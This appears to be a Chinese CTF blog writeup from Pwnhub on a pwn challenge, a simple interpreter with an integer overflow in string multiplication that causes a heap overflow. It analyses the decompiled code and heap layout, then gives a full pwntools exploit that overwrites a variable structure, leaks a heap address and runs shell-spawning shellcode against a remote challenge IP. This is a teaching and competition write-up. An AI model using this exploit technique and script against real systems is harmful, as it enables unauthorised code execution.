pwn

往期Writeup:故事的开始

Posted by Pwnhub on 2017-06-14

从去年 12 月的第一期比赛至今, Pwnhub 已举办了 16 期比赛,共计 23 道题(当然,因为有各位胖友的支持, Pwnhub 还会有更多的题目和更多的比赛的!)

即便是已经结束的比赛和题目,也依然是有价值的,今天起,胖哈勃博客将陆续把往期比赛题目的优秀 Writeup 整理并发布出来,供大家阅读和参考。

在回顾旧题的同时,也欢迎各位被激发了灵感的胖友来踊跃投稿呀!


Writeup 主:@Atum

本题可以看作是⼀个简单解释器,输⼊程序指令,输出解释执⾏的结果。不过解释器的功能⽐较少,只⽀持变量定义以及⼏个预设函数的调⽤。这个题⽬ PIENX 都是没有开的,我猜测出题⼈不开 NX 是为了与解释性语⾔的 JIT page 呼应(当然只是我的猜测

漏洞分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
else if ( !strcmp(v8->vartype, "str") && !strcmp(v7->vartype, "int") )
{
time = (char *)v7->value;
dest = (char *)calloc(v8->varlength * (unsigned int)v7->value + 1, 1u);
//integer overflow!!!
v9 = dest;
if ( !dest )
{
puts("memory error.");
exit(-1);
}
while ( 1 )
{
v2 = time--;
if ( !v2 )
break;
memcpy(dest, v8->value, v8->varlength); //heap overflow!!
dest += v8->varlength;
}
v3 = assign_str(globalvar, v9);
push((_DWORD *)var_stack, (int)v3);
}

如上,在 mul 函数在处理字符串与整数相乘时,在分配存储结果的内存时存在⼀个整数溢出漏洞。如果 v8->varlength * v7->value > max_unsigned_int ,那么 calloc 分配了的内存⼤⼩为 v8->varlength * v7->value % max_unsigned_int ,但是在接下来的 memcpy 过程中,系统会向这块内存填⼊ v8->varlength * v7->value ⼤⼩的内存, 从⽽造成了堆溢出。

漏洞利用

有了堆溢出,接下来就是怎么利⽤的问题。在程序中,有如下结构体来存储需要解释执⾏的程序中的变量与函数。

1
2
3
4
5
6
00000000 cvar struc ; (sizeof=0x10, align=0x4, copyof_2)
00000000 varname dd ? ; offset
00000004 vartype dd ? ; offset
00000008 value dd ? ; offset
0000000C varlength dd ?
00000010 cvar ends

其中 varname 存有的是指向变量名的指针,vartype 是变量类型,当vartype="fuction" 时, value 指向⼀个函数,当 vartype="str", value 指向的是⼀个字符串。如果在堆溢出中,将 value 覆盖为要读的内存地址且将 vartype 改写为 addr of "str" ,则可以实现任意读。如果将 value 覆盖为 shellcode 的地址,且 vartype 改写为 addr of "fuction" ,则可以实现任意代码执⾏。

这个漏洞的利⽤有两个难点:

  1. 这个堆溢出会不断复制字符串到新的缓冲区,直到程序访问ummaped memory崩溃,我们要想办法让复制过程在达到我们溢出⽬的之后停下来

  2. 这个堆溢出可以越界写的内容是⼀个循环的字符串,即|content|content|content|content|,可说是有⼀定的限制,我们需要想办法在这种限制条件下完成我们的利⽤。

1
2
3
4
5
6
7
8
while ( 1 )
{
v2 = time--;
if ( !v2 )
break;
memcpy(dest, v8->value, v8->varlength); //heap overflow!!
dest += v8->varlength;
}

对于第⼀个问题,想让复制停下来有两个⽅法,⼀个是 v2 或者time=0 ,另⼀个是让 v8->length=0v2time 在栈上,所以很难通过堆溢出覆盖,但是 v8->varlength 在堆上,所以我们可以通过覆盖 v8->value 为指向 0x00000000 的内存,且 v8->value 为某次 memcpy 循环所写⼊的最后 4 个字节,那 v8->varlength 会在新⼀轮循环中被写为 0 ,从⽽使这个漫⻓的复制过程停下来

对于第⼆个问题,其实很好解决,在本题中,我们想要覆盖的⼀个是 cvar 结构体,另⼀个是 v8->value ,只要通过对堆中的数据进⾏精⼼的排布,使其满⾜溢出点与最后⼀个需要覆盖的位置之间没有任何重要的数据,且覆盖 cvar 和覆盖 v8->value 在构造 payload 上没有任何冲突就可以了。

还有⼀点值得说明的是, add 函数在处理字符串 + 字符串最后是会把结果 free 掉的,所以我们可以通过调⽤ add 函数来在堆上留⼀个坑,从⽽控制溢出点在堆中的位置。

有了以上内容最后的利⽤就很简单了,第⼀次堆溢出覆盖 cvar ,将 vartype 覆盖为 rodata 上的字符串 "str" ,将 value 覆盖为 bss 上的堆地址,将 varname 随便覆盖为 iodata 段中的⼀个字符串(我⽤的 spo0 ,调⽤ spo0 就可以泄漏位于 bss 上的堆地址。第⼆次堆溢出再次利⽤覆盖 cvar ,将 vartype 覆盖为 rodata 上的字符串 function ,将 value 覆盖为堆上的 shellcode 的地址,将 varname 随便覆盖为 iodata 段中的⼀个字符串(我⽤的 bool )。再次输⼊ bool 就会 get shell 。

当然 shellcode 什么的要提前在堆中准备好,另外为了不让溢出覆盖重要的数据结构, spo00ops 要在漏洞触发前先定义⼀次,以使其在字符串的索引树中有相应的节点。

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
'''
Author: Atum
Created Time: Wed Dec 1 21:01:25 2016
File Name: expcalc.py
'''
from pwn import *;
port=20001
objname = "calc"
objpath = "./"+objname
io = process(objpath)
elf = ELF(objpath)
context(arch="i386", os="linux", log_level="debug")
context.terminal = ["tmux", "splitw", "-h"]
def readuntil(delim):
data = io.recvuntil(delim);
return data;
def readlen(len):
data = io.recv(len,1);
return data;
def readall():
data = io.recv(4096,10);
return data;
def write(data):
io.send(str(data));
sleep(0.1)
def writeline(data):
io.sendline(str(data));
sleep(0.1)
def addstr(a,b):
data="add";
data+=" \"";
data+=a
data+="\" \"";
data+=b
data+="\""
writeline(data);
def mulstr(a,b):
data="mul";
data+=" \"";
data+=a
data+="\" ";
data+=str(b);
writeline(data);
def varstr(a,b):
data="var ";
data+=a;
data+=" = \"";
data+=b;
data+="\"";
writeline(data);
def attack(ip=0):
global io
if ip != 0:
io = remote(ip,port)
bss_end=0x0804D0B8;
spo0=0x804AE82
var_stack=0x0804D0B4;
c_str=0x0804ae8b
c_func=0x0804ae99
varstr("shellcode","\x90"*100+asm(shellcraft.sh()))
varstr("spo5","test")
a="A" * 0x1a;
b="B" * 0x1a;
addstr(a,b);
varstr("spo0","padding_padding_padding_");
a=p32(spo0)+p32(c_str)+p32(var_stack)+"daaaeaaafaaa"+p32(bss_end)
b=153391691
mulstr(a,b);
readall()
readall()
writeline("spo0");
if ip!=0:
readuntil("\n> ")
heap=readuntil("\n");
heap=u32(heap[:-1]);
shellcode=heap+0x748+0x30
varstr("bool","test")
a="A" * 0x1a;
b="B" * 0x1a;
addstr(a,b);
varstr("bool","padding_padding_padding_");
a=p32(spo0)+p32(c_func)+p32(shellcode)+"daaaeaaafaaa"+p32(bss_end)
b=153391691
mulstr(a,b);
writeline("bool");
readall()
io.interactive();
#attack()
attack("54.223.84.142")

本次胖哈勃电台播报到此为止,欢迎大家在评论区灌水互动~